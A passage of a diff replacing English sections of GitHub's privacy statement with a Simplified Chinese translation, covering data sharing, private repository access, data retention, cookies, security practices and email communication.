+我们会与有限数量的服务提供商分享用户个人信息，他们替我们处理这些信息以提供或改善我们的服务，并且通过签署数据保护协议或作出类似承诺，同意遵守与我们隐私声明类似的隐私限制。 我们的服务提供商履行付款处理、客户支持事件单、网络数据传输、安全及其他类似服务。 虽然 GitHub 在美国处理所有用户个人信息，但我们的服务提供商可能在美国或欧盟外部处理数据。 如果您想知道我们的服务提供商有哪些，请参阅我们关于[子处理商](/github/site-policy/github-subprocessors-and-cookies)的页面。
 
-### For security purposes
-If you are a member of an Organization, GitHub may share your username, [Usage Information](#usage-information), and [Device Information](#device-information) associated with that Organization with an owner and/or administrator of the Organization, to the extent that such information is provided only to investigate or respond to a security incident that affects or compromises the security of that particular Organization.
+### 出于安全目的
+如果您是组织的成员，GitHub 可能会将您与该组织相关联的用户名、[使用信息](#usage-information)和[设备信息](#device-information)分享给组织的所有者和/或管理员，但提供此类信息的目的仅限于调查或响应可能影响或损害该特定组织安全性的安全事件。
 
-### For legal disclosure
-GitHub strives for transparency in complying with legal process and legal obligations. Unless prevented from doing so by law or court order, or in rare, exigent circumstances, we make a reasonable effort to notify users of any legally compelled or required disclosure of their information. GitHub may disclose User Personal Information or other information we collect about you to law enforcement if required in response to a valid subpoena, court order, search warrant, a similar government order, or when we believe in good faith that disclosure is necessary to comply with our legal obligations, to protect our property or rights, or those of third parties or the public at large.
+### 法律要求披露
+为遵守法律程序和履行法律义务，GitHub 力求提高透明度。 如果法律强制或要求披露用户的信息，我们会尽合理努力通知该用户，除非法律或法院命令不允许我们通知，或者在极少数紧急情况下来不及通知。 GitHub 可能会根据有效传票、法院命令、搜查令或类似的政府命令，向执法机构披露我们收集的用户个人信息或其他信息，或者我们出于善意，认为这种披露是履行我们法律义务的必要行动，有助于保护我们、第三方或公众的财产或权利时，我们也会这样做。
 
-For more information about our disclosure in response to legal requests, see our [Guidelines for Legal Requests of User Data](/github/site-policy/guidelines-for-legal-requests-of-user-data).
+有关我们为响应法律要求而披露的更多信息，请参阅我们的[用户数据法律要求指南](/github/site-policy/guidelines-for-legal-requests-of-user-data)。
 
-### Change in control or sale
-We may share User Personal Information if we are involved in a merger, sale, or acquisition of corporate entities or business units. If any such change of ownership happens, we will ensure that it is under terms that preserve the confidentiality of User Personal Information, and we will notify you on our Website or by email before any transfer of your User Personal Information. The organization receiving any User Personal Information will have to honor any promises we made in our Privacy Statement or Terms of Service.
+### 控制权变更或出售
+如果我们参与公司实体或业务单位的合并、出售或收购，我们可能会分享用户个人信息。 如果发生任何此类所有权变更的情况，我们将确保根据条款保护用户个人信息的机密性，并且在传输您的任何用户个人信息之前在网站上或通过电子邮件通知您。 接收任何用户个人信息的组织必须遵守我们在隐私声明或服务条款中所作的任何承诺。
 
-### Aggregate, non-personally identifying information
-We share certain aggregated, non-personally identifying information with others about how our users, collectively, use GitHub, or how our users respond to our other offerings, such as our conferences or events.
+### 汇总的非个人识别信息
+我们会与他人分享某些汇总的非个人识别信息，包括我们用户使用 GitHub 的整体情况或用户对我们其他方面（例如我们的会议或活动）的反应。
 
-We **do not** sell your User Personal Information for monetary or other consideration.
+我们**不会**出于金钱或其他报酬而出售您的用户个人信息。
 
-Please note: The California Consumer Privacy Act of 2018 (“CCPA”) requires businesses to state in their privacy policy whether or not they disclose personal information in exchange for monetary or other valuable consideration. While CCPA only covers California residents, we voluntarily extend its core rights for people to control their data to _all_ of our users, not just those who live in California. You can learn more about the CCPA and how we comply with it [here](/github/site-policy/githubs-notice-about-the-california-consumer-privacy-act).
+请注意：《2018 年加州消费者隐私法案》(“CCPA”) 要求企业在其隐私政策中声明，他们是否会披露个人信息以换取金钱或其他有价值的报酬。 虽然 CCPA 只涵盖加州居民，但我们自愿将人们控制自己的数据之核心权利扩展到我们的_所有_用户，而不仅仅是居住在加州的用户。 您可以在[此处](/github/site-policy/githubs-notice-about-the-california-consumer-privacy-act)了解有关 CCPA 以及我们如何遵守它的更多信息。
 
-## Repository contents
+## 仓库内容
 
-### Access to private repositories
+### 访问私有仓库
 
-If your repository is private, you control the access to your Content. If you include User Personal Information or Sensitive Personal Information, that information may only be accessible to GitHub in accordance with this Privacy Statement. GitHub personnel [do not access private repository content](/github/site-policy/github-terms-of-service#e-private-repositories) except for
-- security purposes
-- to assist the repository owner with a support matter
-- to maintain the integrity of the Service
-- to comply with our legal obligations
-- if we have reason to believe the contents are in violation of the law, or
-- with your consent.
+如果您的仓库是私有仓库，您可以控制对内容的访问。 如果其中包含用户个人信息或敏感个人信息，则 GitHub 只能根据本隐私声明访问该信息。 GitHub 工作人员[不得访问私有仓库内容](/github/site-policy/github-terms-of-service#e-private-repositories)，除非
+- 出于安全目的
+- 协助仓库所有者处理支持事项
+- 保持服务的完整性
+- 履行我们的法律义务
+- 我们有理由认为其内容违法，或
+- 经您同意.
 
-However, while we do not generally search for content in your repositories, we may scan our servers and content to detect certain tokens or security signatures, known active malware, known vulnerabilities in dependencies, or other content known to violate our Terms of Service, such as violent extremist or terrorist content or child exploitation imagery, based on algorithmic fingerprinting techniques (collectively, "automated scanning"). Our Terms of Service provides more details on [private repositories](/github/site-policy/github-terms-of-service#e-private-repositories).
+不过，虽然我们一般不搜索您的仓库中的内容，但可能扫描我们的服务器和内容，以根据算法指纹技术检测某些令牌或安全签名、已知活动的恶意软件、已知的依赖项漏洞或其他已知违反我们服务条款的内容，例如暴力极端主义或恐怖主义内容或儿童剥削图片（统称为“自动扫描”）。 我们的服务条款提供了有关[私有仓库](/github/site-policy/github-terms-of-service#e-private-repositories)的更多详情。
 
-Please note, you may choose to disable certain access to your private repositories that is enabled by default as part of providing you with the Service (for example, automated scanning needed to enable Dependency Graph and Dependabot alerts).
+请注意，您可以选择禁用对私有仓库的某些访问权限，它们是在为您提供服务的过程中默认启用的（例如，自动扫描需要启用依赖项图和 Dependabot 警报）。
 
-GitHub will provide notice regarding our access to private repository content, unless [for legal disclosure](/github/site-policy/github-privacy-statement#for-legal-disclosure), to comply with our legal obligations, or where otherwise bound by requirements under law, for automated scanning, or if in response to a security threat or other risk to security.
+GitHub 将提供有关我们访问私有仓库内容的通知，访问的目的无外乎[为了法律披露](/github/site-policy/github-privacy-statement#for-legal-disclosure)，为了履行我们的法律义务或遵循法律要求的其他约束，提供自动扫描，或者应对安全威胁或其他安全风险。
 
-### Public repositories
+### 公共仓库
 
-If your repository is public, anyone may view its contents. If you include User Personal Information, [Sensitive Personal Information](https://gdpr-info.eu/art-9-gdpr/), or confidential information, such as email addresses or passwords, in your public repository, that information may be indexed by search engines or used by third parties.
+如果您的仓库是公共仓库，则任何人都可以查看其内容。 如果您的公共仓库中含有用户个人信息、[敏感个人信息](https://gdpr-info.eu/art-9-gdpr/)或机密信息，例如电子邮件地址或密码，该信息可能会被搜索引擎索引或被第三方使用。
 
-Please see more about [User Personal Information in public repositories](/github/site-policy/github-privacy-statement#public-information-on-github).
+更多信息请参阅[公共仓库中的用户个人信息](/github/site-policy/github-privacy-statement#public-information-on-github)。
 
-## Other important information
+## 其他重要信息
 
-### Public information on GitHub
+### GitHub 上的公共信息
 
-Many of GitHub services and features are public-facing. If your content is public-facing, third parties may access and use it in compliance with our Terms of Service, such as by viewing your profile or repositories or pulling data via our API. We do not sell that content; it is yours. However, we do allow third parties, such as research organizations or archives, to compile public-facing GitHub information. Other third parties, such as data brokers, have been known to scrape GitHub and compile data as well.
+GitHub 的许多服务和功能都是面向公众的。 如果您的内容是面向公众的，则第三方可能会按照我们的服务条款访问和使用它，例如查看您的个人资料或仓库，或者通过我们的 API 拉取数据。 我们不会出售您的内容；它是您的财产。 但是，我们会允许第三方（例如研究或存档组织）汇编面向公众的 GitHub 信息。 据悉，数据中间商等其他第三方也会搜刮 GitHub 和汇编数据。
 
-Your User Personal Information associated with your content could be gathered by third parties in these compilations of GitHub data. If you do not want your User Personal Information to appear in third parties’ compilations of GitHub data, please do not make your User Personal Information publicly available and be sure to [configure your email address to be private in your user profile](https://github.com/settings/emails) and in your [git commit settings](/github/setting-up-and-managing-your-github-user-account/setting-your-commit-email-address). We currently set Users' email address to private by default, but legacy GitHub Users may need to update their settings.
+与您的内容相关的用户个人信息可能被第三方收集在这些 GitHub 数据汇编中。 如果您不希望自己的用户个人信息出现在第三方的 GitHub 数据汇编中，请不要公开自己的用户个人信息，并确保在您的用户个人资料和 [Git 提交设置](/github/setting-up-and-managing-your-github-user-account/setting-your-commit-email-address)中[将您的电子邮件地址配置为私密](https://github.com/settings/emails)。 在当前版本中，用户的电子邮件地址默认设置为私密，但旧版 GitHub 的用户可能需要更新其设置。
 
-If you would like to compile GitHub data, you must comply with our Terms of Service regarding [information usage](/github/site-policy/github-acceptable-use-policies#6-information-usage-restrictions) and [privacy](/github/site-policy/github-acceptable-use-policies#7-privacy), and you may only use any public-facing User Personal Information you gather for the purpose for which our user authorized it. For example, where a GitHub user has made an email address public-facing for the purpose of identification and attribution, do not use that email address for the purposes of sending unsolicited emails to users or selling User Personal Information, such as to recruiters, headhunters, and job boards, or for commercial advertising. We expect you to reasonably secure any User Personal Information you have gathered from GitHub, and to respond promptly to complaints, removal requests, and "do not contact" requests from GitHub or GitHub users.
+如果您要汇编 GitHub 数据，则必须遵守我们有关[信息使用](/github/site-policy/github-acceptable-use-policies#6-information-usage-restrictions)和[隐私](/github/site-policy/github-acceptable-use-policies#7-privacy)的服务条款，并且只能出于我们用户授权的目的使用所收集的任何面向公众的用户个人信息。 例如，如果 GitHub 用户出于识别和归因的目的而公开电子邮件地址，请不要将该电子邮件地址用于向用户发送未经请求的电子邮件或出售用户个人信息（例如向招聘人员、猎头和职介所出售）或用于商业广告。 我们希望您合理地保护从 GitHub 收集的任何用户个人信息，并且必须及时回应 GitHub 或 GitHub 用户的投诉以及删除和“别碰”要求。
 
-Similarly, projects on GitHub may include publicly available User Personal Information collected as part of the collaborative process. If you have a complaint about any User Personal Information on GitHub, please see our section on [resolving complaints](/github/site-policy/github-privacy-statement#resolving-complaints).
+同样，GitHub 上项目包含的公开用户个人信息可能在协作过程中被收集。 如果您要针对 GitHub 上的任何用户个人信息问题提出投诉，请参阅我们的[解决投诉](/github/site-policy/github-privacy-statement#resolving-complaints)部分。
 
 
-### Organizations
+### 组织
 
-You may indicate, through your actions on GitHub, that you are willing to share your User Personal Information. If you collaborate on or become a member of an Organization, then its Account owners may receive your User Personal Information. When you accept an invitation to an Organization, you will be notified of the types of information owners may be able to see (for more information, see [About Organization Membership](/github/setting-up-and-managing-your-github-user-account/about-organization-membership)). If you accept an invitation to an Organization with a [verified domain](/organizations/managing-organization-settings/verifying-your-organizations-domain), then the owners of that Organization will be able to see your full email address(es) within that Organization's verified domain(s).
+您可以通过在 GitHub 上的操作来表明您愿意分享自己的用户个人信息。 如果您与组织协作或成为组织成员，则其帐户所有者可能会收到您的用户个人信息。 当您接受组织邀请时，您将被告知所有者可以看到的信息类型（更多信息请参阅[关于组织成员](/github/setting-up-and-managing-your-github-user-account/about-organization-membership)）。 如果您接受含有[验证域](/organizations/managing-organization-settings/verifying-your-organizations-domain)的组织的邀请，则该组织的所有者将能够在该组织的验证域中查看您的完整电子邮件地址。
 
-Please note, GitHub may share your username, [Usage Information](#usage-information), and [Device Information](#device-information) with the owner(s) of the Organization you are a member of, to the extent that your User Personal Information is provided only to investigate or respond to a security incident that affects or compromises the security of that particular Organization.
+请注意，GitHub 可能会将您的用户名、[使用信息](#usage-information)和[设备信息](#device-information)分享给您所属组织的所有者，但提供这些用户个人信息的目的仅限于调查或响应可能影响或损害该特定组织安全性的安全事件。
 
-If you collaborate on or become a member of an Account that has agreed to the [Corporate Terms of Service](/github/site-policy/github-corporate-terms-of-service) and a Data Protection Addendum (DPA) to this Privacy Statement, then that DPA governs in the event of any conflicts between this Privacy Statement and the DPA with respect to your activity in the Account.
+如果您与已同意[公司服务条款](/github/site-policy/github-corporate-terms-of-service)、数据保护附录 (DPA) 和本隐私声明的帐户进行协作或成为其成员，则对于您在该帐户中的活动，当本隐私声明与 DPA 之间发生任何冲突时，以 DPA 为准。
 
-Please contact the Account owners for more information about how they might process your User Personal Information in their Organization and the ways for you to access, update, alter, or delete the User Personal Information stored in the Account.
+请联系帐户所有者，详细了解他们在组织中如何处理您的用户个人信息，以及您访问、更新、更改或删除存储在该帐户中的用户个人信息的方式。
 
-## Additional services
+## 其他服务
 
-### Third party applications
+### 第三方应用程序
 
-You have the option of enabling or adding third-party applications, known as "Developer Products," to your Account. These Developer Products are not necessary for your use of GitHub. We will share your User Personal Information with third parties when you ask us to, such as by purchasing a Developer Product from the Marketplace; however, you are responsible for your use of the third-party Developer Product and for the amount of User Personal Information you choose to share with it. You can check our [API documentation](/rest/reference/users) to see what information is provided when you authenticate into a Developer Product using your GitHub profile.
+您可以选择在自己的帐户中启用或添加第三方应用程序（称为“开发者产品”）。 这些开发者产品并非使用 GitHub 的必要条件。 我们会在您要求时（例如从 Marketplace 购买开发者产品）将您的用户个人信息分享给第三方；但是，对于您使用第三方开发者产品以及您选择与之分享的用户个人信息，您自行负责。 您可以查看我们的 [API 文档](/rest/reference/users)，以了解您使用自己的 GitHub 个人资料向开发者产品验证时会提供哪些信息。
 
 ### GitHub Pages
 
-If you create a GitHub Pages website, it is your responsibility to post a privacy statement that accurately describes how you collect, use, and share personal information and other visitor information, and how you comply with applicable data privacy laws, rules, and regulations. Please note that GitHub may collect User Personal Information from visitors to your GitHub Pages website, including logs of visitor IP addresses, to comply with legal obligations, and to maintain the security and integrity of the Website and the Service.
+如果您创建 GitHub Pages 网站，则您有责任发布隐私声明，准确说明您如何收集、使用和分享个人信息和其他访客信息，以及如何遵守适用的数据隐私法律、法规和条例。 请注意，GitHub 可能会从 GitHub Pages 网站的访客收集用户个人信息，包括访客 IP 地址的日志，以履行法律义务、维护网站和服务的安全性和完整性。
 
-### GitHub applications
+### GitHub 应用程序
 
-You can also add applications from GitHub, such as our Desktop app, our Atom application, or other application and account features, to your Account. These applications each have their own terms and may collect different kinds of User Personal Information; however, all GitHub applications are subject to this Privacy Statement, and we collect the amount of User Personal Information necessary, and use it only for the purpose for which you have given it to us.
+您还可以在自己的帐户中添加 GitHub 的应用程序，例如我们的 Desktop 应用程序、Atom 应用程序或其他应用程序和帐户功能。 这些应用程序都有其各自的条款，并且可能收集不同类型的用户个人信息；但是，所有 GitHub 应用程序均受本隐私声明的约束，我们只收集必要的用户个人信息，并且仅用于您许可的目的。
 
-## How you can access and control the information we collect
+## 您如何访问和控制我们收集的信息
 
-If you're already a GitHub user, you may access, update, alter, or delete your basic user profile information by [editing your user profile](https://github.com/settings/profile) or contacting [GitHub Support](https://support.github.com/contact?tags=docs-policy). You can control the information we collect about you by limiting what information is in your profile, by keeping your information current, or by contacting [GitHub Support](https://support.github.com/contact?tags=docs-policy).
+如果您已经是 GitHub 用户，则可以通过[编辑用户个人资料](https://github.com/settings/profile)或联系 [GitHub 支持](https://support.github.com/contact?tags=docs-policy)，访问、更新、更改或删除您的基本用户个人资料信息。 您可以在个人资料中限制信息、保持更新个人信息或者联系 [GitHub 支持](https://support.github.com/contact?tags=docs-policy)，以控制我们收集的信息。
 
-If GitHub processes information about you, such as information [GitHub receives from third parties](#information-we-collect-from-third-parties), and you do not have an account, then you may, subject to applicable law, access, update, alter, delete, or object to the processing of your personal information by contacting [GitHub Support](https://support.github.com/contact?tags=docs-policy).
+如果 GitHub 处理您的信息，例如 [GitHub 从第三方](#information-we-collect-from-third-parties)获取的信息，但您没有帐户，则您可以通过联系 [GitHub 支持](https://support.github.com/contact?tags=docs-policy)，根据适用法律，访问、更新、更改、删除或反对处理您的个人信息。
 
-### Data portability
+### 数据可移植性
 
-As a GitHub User, you can always take your data with you. You can [clone your repositories to your desktop](/desktop/contributing-to-projects/cloning-a-repository-from-github-to-github-desktop), for example, or you can use our [Data Portability tools](https://developer.github.com/changes/2018-05-24-user-migration-api/) to download information we have about you.
+作为 GitHub 用户，您可以随时带走您的数据。 例如，您可以[将您的仓库克隆到桌面](/desktop/contributing-to-projects/cloning-a-repository-from-github-to-github-desktop)，也可以使用我们的[数据移植工具](https://developer.github.com/changes/2018-05-24-user-migration-api/)下载我们拥有的与您相关的信息。
 
-### Data retention and deletion of data
+### 数据保留和删除
 
-Generally, GitHub retains User Personal Information for as long as your account is active or as needed to provide you services.
+一般来说，只要您的帐户处于活动状态或需要为您提供服务，GitHub 就会保留您的用户个人信息。
 
-If you would like to cancel your account or delete your User Personal Information, you may do so in your [user profile](https://github.com/settings/admin). We retain and use your information as necessary to comply with our legal obligations, resolve disputes, and enforce our agreements, but barring legal requirements, we will delete your full profile (within reason) within 90 days of your request. You may contact [GitHub Support](https://support.github.com/contact?tags=docs-policy) to request the erasure of the data we process on the basis of consent within 30 days.
+如果您想取消帐户或删除用户个人信息，可以在[用户个人资料](https://github.com/settings/admin)中进行。 我们将根据需要保留并使用您的信息，以履行我们的法律义务、解决争端和执行我们的协议，但是除非法律要求，否则我们将在您请求后 90 天内（在合理时间内）删除您的完整个人资料。 您可以联系[GitHub 支持](https://support.github.com/contact?tags=docs-policy)，请求在 30 天内删除您的数据，但需要征得我们的同意。
 
-After an account has been deleted, certain data, such as contributions to other Users' repositories and comments in others' issues, will remain. However, we will delete or de-identify your User Personal Information, including your username and email address, from the author field of issues, pull requests, and comments by associating them with a [ghost user](https://github.com/ghost).
+删除帐户后，某些数据，例如对其他用户仓库的贡献和对其他议题的评论，仍然保留。 但是，我们通过将其与[空用户](https://github.com/ghost)相关联，从议题、拉取请求和评论的作者字段中删除或去识别化您的用户个人信息，包括您的用户名和电子邮件地址。
 
-That said, the email address you have supplied [via your Git commit settings](/github/setting-up-and-managing-your-github-user-account/setting-your-commit-email-address) will always be associated with your commits in the Git system. If you choose to make your email address private, you should also update your Git commit settings. We are unable to change or delete data in the Git commit history — the Git software is designed to maintain a record — but we do enable you to control what information you put in that record.
+也就是说，[通过 Git 提交设置](/github/setting-up-and-managing-your-github-user-account/setting-your-commit-email-address)提供的电子邮件地址将始终与您在 Git 系统中的提交相关联。 如果您已选择将自己的电子邮件地址设为私密，则还应更新您的 Git 提交设置。 我们无法更改或删除 Git 提交历史记录中的数据 — 虽然 Git 软件设计用于维护记录，但我们让您来控制在该记录中放入哪些信息。
 
-## Our use of cookies and tracking
+## 我们使用 cookie 和跟踪技术
 
-### Cookies
+### Cookie
 
-GitHub only uses strictly necessary cookies. Cookies are small text files that websites often store on computer hard drives or mobile devices of visitors.
+GitHub 仅使用绝对必要的 Cookie。 Cookie 是网站通常存储在访客的计算机硬盘或移动设备上的小型文本文件。
 
-We use cookies solely to provide, secure, and improve our service. For example, we use them to keep you logged in, remember your preferences, identify your device for security purposes, analyze your use of our service, compile statistical reports, and provide information for future development of GitHub. We use our own cookies for analytics purposes, but do not use any third-party analytics service providers.
+我们仅使用 Cookie 来提供、保障和改进我们的服务。 例如，我们使用它们来保持您的登录状态、记住您的偏好、出于安全目的识别您的设备、分析您使用服务的情况、编译统计报告以及为 GitHub 的未来发展提供信息。 我们使用自己的 Cookie 进行分析，但不使用任何第三方分析服务提供商。
 
-By using our service, you agree that we can place these types of cookies on your computer or device. If you disable your browser or device’s ability to accept these cookies, you will not be able to log in or use our service.
+使用我们的服务，即表示您同意我们将这些类型的 cookie 放在您的计算机或设备上。 如果您禁止浏览器或设备接受这些 cookie，则将无法登录或使用我们的服务。
 
-We provide more information about [cookies on GitHub](/github/site-policy/github-subprocessors-and-cookies#cookies-on-github) on our [GitHub Subprocessors and Cookies](/github/site-policy/github-subprocessors-and-cookies) page that describes the cookies we set, the needs we have for those cookies, and the expiration of such cookies.
+我们提供了一个有关 [cookie 和跟踪技术](/github/site-policy/github-subprocessors-and-cookies)的网页，介绍我们设置的 cookie、对这些 cookie 的需求以及它们的类型（临时或永久）。
 
 ### DNT
 
-"[Do Not Track](https://www.eff.org/issues/do-not-track)" (DNT) is a privacy preference you can set in your browser if you do not want online services to collect and share certain kinds of information about your online activity from third party tracking services. GitHub responds to browser DNT signals and follows the [W3C standard for responding to DNT signals](https://www.w3.org/TR/tracking-dnt/). If you would like to set your browser to signal that you would not like to be tracked, please check your browser's documentation for how to enable that signal. There are also good applications that block online tracking, such as [Privacy Badger](https://privacybadger.org/).
+“[别跟踪](https://www.eff.org/issues/do-not-track)”(DNT) 是有一种隐私首选项，如果您不希望在线服务（特别是广告网络）通过第三方跟踪服务收集和分享有关您在线活动的某类信息，您可以在浏览器中设置该选项。 GitHub 响应浏览器的 DNT 信号，并遵循[关于响应 DNT 信号的 W3C 标准](https://www.w3.org/TR/tracking-dnt/)。 如果您要设置浏览器以传达不希望被跟踪的信号，请查看浏览器的文档以了解如何启用该信号。 还有一些很适合阻止在线跟踪的应用程序，例如 [Privacy Badger](https://privacybadger.org/)。
 
-## How GitHub secures your information
+## GitHub 如何保护您的信息
 
-GitHub takes all measures reasonably necessary to protect User Personal Information from unauthorized access, alteration, or destruction; maintain data accuracy; and help ensure the appropriate use of User Personal Information.
+GitHub 采取所有合理必要的措施保护用户个人信息，使其免遭未经授权的访问、更改或破坏；保持数据准确性；并帮助确保用户个人信息的适当使用。
 
-GitHub enforces a written security information program. Our program:
-- aligns with industry recognized frameworks;
-- includes security safeguards reasonably designed to protect the confidentiality, integrity, availability, and resilience of our Users' data;
-- is appropriate to the nature, size, and complexity of GitHub’s business operations;
-- includes incident response and data breach notification processes; and
-- complies with applicable information security-related laws and regulations in the geographic regions where GitHub does business.
+GitHub 实施明文规定的安全信息程序。 我们的程序：
+- 符合行业公认的框架；
+- 包括合理设计的安全保障措施，以保护用户数据的机密性、完整性、可用性和弹性；
+- 适合 GitHub 业务运营的性质、规模和复杂性；
+- 包括事件响应和数据泄露通知流程；以及
+- 遵守 GitHub 开展业务所在地区适用的信息安全相关法律和法规。
 
-In the event of a data breach that affects your User Personal Information, we will act promptly to mitigate the impact of a breach and notify any affected Users without undue delay.
+如果出现涉及用户个人信息的数据泄露事件，我们会立即采取措施以减轻泄露影响并及时通知所有受影响的用户。
 
-Transmission of data on GitHub is encrypted using SSH, HTTPS (TLS), and git repository content is encrypted at rest. We manage our own cages and racks at top-tier data centers with high level of physical and network security, and when data is stored with a third-party storage provider, it is encrypted.
+GitHub 上的数据传输使用 SSH、HTTPS (TLS) 进行加密，git 仓库的内容在静态时进行加密。 我们在顶级数据中心管理自己的机笼和机架，物理和网络安全性俱佳，并且对通过第三方存储提供商存储的数据进行加密处理。
 
-No method of transmission, or method of electronic storage, is 100% secure. Therefore, we cannot guarantee its absolute security. For more information, see our [security disclosures](https://github.com/security).
+没有任何传输方法或电子存储方法是 100% 安全的。 因此，我们无法保证其绝对安全。 更多信息请参阅我们的[安全披露](https://github.com/security)。
 
-## GitHub's global privacy practices
+## GitHub 的全球隐私实践
 
-GitHub, Inc. and, for those in the European Economic Area, the United Kingdom, and Switzerland, GitHub B.V. are the controllers responsible for the processing of your personal information in connection with the Service, except (a) with respect to personal information that was added to a repository by its contributors, in which case the owner of that repository is the controller and GitHub is the processor (or, if the owner acts as a processor, GitHub will be the subprocessor); or (b) when you and GitHub have entered into a separate agreement that covers data privacy (such as a Data Processing Agreement).
+GitHub, Inc. 和 GitHub B.V.（适用于欧洲经济区、英国和瑞士）是负责处理与服务相关个人信息的控制方 ，但以下情况除外：(a) 参与者添加到仓库的个人信息，在这种情况下，该仓库的所有者是控制方，GitHub 是处理方（或者，如果所有者充当处理方，则 GitHub 将为再处理方）；或 (b) 您与 GitHub 签订了涵盖数据隐私保护的单独协议（例如数据处理协议）。
 
-Our addresses are:
+我们的地址是：
 
-- GitHub, Inc., 88 Colin P. Kelly Jr. Street, San Francisco, CA 94107.
-- GitHub B.V., Vijzelstraat 68-72, 1017 HL Amsterdam, The Netherlands.
+- GitHub, Inc., 88 Colin P. Kelly Jr. Street, San Francisco, CA 94107。
+- GitHub B.V., Vijzelstraat 68-72, 1017 HL Amsterdam, The Netherlands。
 
-We store and process the information that we collect in the United States in accordance with this Privacy Statement, though our service providers may store and process data outside the United States. However, we understand that we have Users from different countries and regions with different privacy expectations, and we try to meet those needs even when the United States does not have the same privacy framework as other countries.
+我们按照本隐私声明在美国存储和处理我们收集的信息，但我们的服务提供商可能在美国境外存储和处理数据。 但是我们理解，不同国家和地区的用户对隐私保护有不同的预期，即使美国没有与其他国家/地区相同的隐私框架，我们也会努力满足这些需求。
 
-We provide the same high standard of privacy protection—as described in this Privacy Statement—to all our users around the world, regardless of their country of origin or location, and we are proud of the levels of notice, choice, accountability, security, data integrity, access, and recourse we provide. We work hard to comply with the applicable data privacy laws wherever we do business, working with our Data Protection Officer as part of a cross-functional team that oversees our privacy compliance efforts. Additionally, if our vendors or affiliates have access to User Personal Information, they must sign agreements that require them to comply with our privacy policies and with applicable data privacy laws.
+如本隐私声明所述，我们为世界各地的所有用户提供同样的高标准隐私保护，不论其原籍国或所在地，我们为我们提供的通知、选择、问责、安全、数据完整性、访问和追索水准而感到自豪。 无论我们在哪里开展业务，都会与我们的数据保护官合作，努力遵守适用的数据隐私法律，我们的数据保护官作为跨职能团队的一部分，负责监督我们的隐私合规工作。 此外，如果我们的供应商或附属公司有权访问用户个人信息，则他们必须签署协议，遵守我们的隐私政策和适用的数据隐私法律。
 
-In particular:
+特点：
 
- - GitHub provides clear methods of unambiguous, informed, specific, and freely given consent at the time of data collection, when we collect your User Personal Information using consent as a basis.
- - We collect only the minimum amount of User Personal Information necessary for our purposes, unless you choose to provide more. We encourage you to only give us the amount of data you are comfortable sharing.
- - We offer you simple methods of accessing, altering, or deleting the User Personal Information we have collected, where legally permitted.
- - We provide our Users notice, choice, accountability, security, and access regarding their User Personal Information, and we limit the purpose for processing it. We also provide our Users a method of recourse and enforcement.
+ - 我们在您同意的基础上收集您的用户个人信息，GitHub 提供明确的数据收集指导原则：不含糊、知情、具体、自愿同意。
+ - 我只收集实现目的所需的最少量用户个人信息，除非您自己选择提供更多信息。 我们建议您只提供无压力分享的数据。
+ - 我们提供简单的方法让您能够在法律允许的范围内访问、更改或删除我们收集的用户个人信息。
+ - 对于用户个人信息，我们向用户提供通知、选择、问责、安全和访问，并且限制处理目的。 我们还为用户提供追索和执行方法。
 
-### Cross-border data transfers
+### 跨境数据传输
 
-GitHub processes personal information both inside and outside of the United States and relies on Standard Contractual Clauses as the legally provided mechanism to lawfully transfer data from the European Economic Area, the United Kingdom, and Switzerland to the United States. In addition, GitHub is certified to the EU-US and Swiss-US Privacy Shield Frameworks. To learn more about our cross-border data transfers, see our [Global Privacy Practices](/github/site-policy/global-privacy-practices).
+GitHub 处理美国境内外的个人信息，并依靠标准合同条款作为法律规定的机制，将数据从欧洲经济区、英国和瑞士合法转移到美国。 此外，GitHub 还通过了欧盟-美国和瑞士-美国隐私盾框架的认证。 要了解有关我们跨境数据传输的更多信息，请参阅我们的[全球隐私实践](/github/site-policy/global-privacy-practices)。
 
-## How we communicate with you
+## 我们如何与您交流
 
-We use your email address to communicate with you, if you've said that's okay, **and only for the reasons you’ve said that’s okay**. For example, if you contact our Support team with a request, we respond to you via email. You have a lot of control over how your email address is used and shared on and through GitHub. You may manage your communication preferences in your [user profile](https://github.com/settings/emails).
+我们使用您的电子邮件地址与您通信，但需要征得您的同意，**并且以您的同意为前提**。 例如，如果您向我们的支持团队提出请求，我们将通过电子邮件答复您。 对于在 GitHub 上如何使用和分享您的电子邮件地址，您有很多控制权。 您可以在[用户个人资料](https://github.com/settings/emails)中管理您的通信首选项。
 
-By design, the Git version control system associates many actions with a User's email address, such as commit messages. We are not able to change many aspects of the Git system. If you would like your email address to remain private, even when you’re commenting on public repositories, [you can create a private email address in your user profile](https://github.com/settings/emails). You should also [update your local Git configuration to use your private email address](/github/setting-up-and-managing-your-github-user-account/setting-your-commit-email-address). This will not change how we contact you, but it will affect how others see you. We set current Users' email address private by default, but legacy GitHub Users may need to update their settings. Please see more about email addresses in commit messages [here](/github/setting-up-and-managing-your-github-user-account/setting-your-commit-email-address).
+根据设计，Git 版本控制系统将许多操作与用户的电子邮件地址相关联，例如提交消息。 我们在很多方面无法更改 Git 系统。 如果您希望自己的电子邮件地址保持私密，即使在公共仓库中发表评论时也不可见，[您可以在用户个人资料中创建私密电子邮件地址](https://github.com/settings/emails)。 您还应[更新本地 Git 配置以使用您的私密电子邮件地址](/github/setting-up-and-managing-your-github-user-account/setting-your-commit-email-address)。 这不会改变我们与您联系的方式，但会影响其他人查看您的情况。 在当前版本中，用户的电子邮件地址默认设置为私密，但旧版 GitHub 的用户可能需要更新其设置。 有关提交消息中电子邮件地址的更多信息，请参阅[此处](/github/setting-up-and-managing-your-github-user-account/setting-your-commit-email-address)。
 
-Depending on your [email settings](https://github.com/settings/emails), GitHub may occasionally send notification emails about changes in a repository you’re watching, new features, requests for feedback, important policy changes, or to offer customer support. We also send marketing emails, based on your choices and in accordance with applicable laws and regulations. There's an “unsubscribe” link located at the bottom of each of the marketing emails we send you. Please note that you cannot opt out of receiving important communications from us, such as emails from our Support team or system emails, but you can configure your notifications settings in your profile to opt out of other communications.
+根据您的[电子邮件设置](https://github.com/settings/emails)，GitHub 有时可能会发送有关新动态的通知电子邮件，例如您关注的仓库中有变动、出现新功能、有反馈请求、有重要政策变动或需要提供客户支持。 根据您的选择和适用的法律法规，我们还可能会发送营销电子邮件。 在我们发送的每封营销电子邮件的底部，都有一个“退订”链接。 请注意，您不能选择不接收我们的重要通讯，例如来自我们支持团队的电子邮件或系统电子邮件，但是您可以在个人资料中配置通知设置以选择不接收其他通讯。
 
-Our emails may contain a pixel tag, which is a small, clear image that can tell us whether or not you have opened an email and what your IP address is. We use this pixel tag to make our email more effective for you and to make sure we’re not sending you unwanted email.
